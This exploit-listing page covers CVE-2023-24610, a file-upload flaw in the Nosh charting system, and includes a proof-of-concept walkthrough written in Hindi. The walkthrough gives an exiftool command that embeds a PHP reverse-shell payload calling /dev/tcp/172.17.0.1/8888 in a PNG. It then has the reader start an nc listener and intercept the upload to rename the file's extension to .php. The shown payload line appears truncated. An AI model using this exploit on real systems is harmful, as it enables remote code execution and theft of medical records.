Exploit for CVE-2023-24610

kitploit · 2026-09-06

Description

Polyglot PNG-PHP file upload bypass in tools setup logo enabling reverse shell execution.

Affected Nosh Chartingsystem Project Nosh Chartingsystem versions

Nosh Chartingsystem Project Nosh Chartingsystem= 2021-03-13

All known vulnerabilities by product

Nosh Chartingsystem

CVSS 8.8 for CVE-2023-24610

8.8

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:LOW

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

CVE Information

CVE-2023-24610

Exploit Details

Modified:2026-09-06 07:55

Last Seen:2026-09-06 20:33

Reporter:KitPloit

Other exploits for CVE-2023-24610

Exploit for Unrestricted Upload of File with Dangerous Type in Nosh_Chartingsystem_Project Nosh_Chartingsystem

2023-01-30 abbisQQGITHUB

Exploit Code

MARKDOWN32 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ABBISQQ-CVE-2023-24610
# CVE-2023-24610

यह CVE-2023-24610 के लिए एक प्रूफ ऑफ कॉन्सेप्ट है

हम exiftool का उपयोग करके एक पॉलीग्लॉट फ़ाइल बनाकर शुरू करते हैं: exiftool -Comment="/dev/tcp/172.17.0.1/8888 <&1\''); ?>" avatar.png -o polyglot.php

![nosh1](https://assets.kitploit.com/production/public/readmes/22070/2c99bf995e051aa8f8add93ed406c52e5c4d22f678d61b89a3683f4d2d494f4a.png)

हम फ़ाइल को png में बदल देते हैं ताकि यह फ्रंट-एंड जाँच को पास कर सके

![nosh2](https://assets.kitploit.com/production/public/readmes/22070/1a7b78e57f14686f7e9c69d33cdaeee7f7ff92b56986b83de41d6b0f542a18a7.png)

उसके बाद, हम शेल प्राप्त करने के लिए पोर्ट 8888 पर एक nc लिसनर शुरू करते हैं।

![nosh3](https://assets.kitploit.com/production/public/readmes/22070/4a3cf45bb3bcb264a3301a2e76f9e8b3417cfb464340c97a1ac48f8f58c6bb67.png)

अगला कदम एप्लिकेशन में लॉग इन करना और setup पर क्लिक करना है

![nosh4](https://assets.kitploit.com/production/public/readmes/22070/670f9bb7159168a86df248f7a8589c1116fb72405bf067cbacfcb9fe0996e26e.png)

पृष्ठ के नीचे, हम एक प्रैक्टिस लोगो क्षेत्र देखते हैं। हम दाईं ओर स्थित edit बटन का उपयोग करके एक फ़ाइल अपलोड कर सकते हैं

![nosh5](https://assets.kitploit.com/production/public/readmes/22070/3374b59bd3be02b4e2d9ce5e0756c2a38d4216618352e558a8fc99c67963329d.png)

हम edit पर क्लिक करते हैं और फिर browse पर क्लिक करते हैं, हम पहले चरण में बनाई गई “.png” फ़ाइल का चयन करते हैं

![nosh6](https://assets.kitploit.com/production/public/readmes/22070/a4f825f86dc32165f0a9e4a247d29821617e66013f10197c327e6afa9c316722.png)

अपलोड पर क्लिक करने से पहले, हम सुनिश्चित करते हैं कि हम burp या इसी तरह की किसी चीज़ से अनुरोध को इंटरसेप्ट करते हैं। हम upload पर क्लिक करते हैं और burp में फ़ाइल एक्सटेंशन को “png” से “php” में बदल देते हैं

![nosh7](https://assets.kitploit.com/production/public/readmes/22070/69a39919c6e31dd1232bf31669a6cae886802f54e3e599f2ca680eb91f5ee7ac.png)

Exploit Code

Share

Share on social media: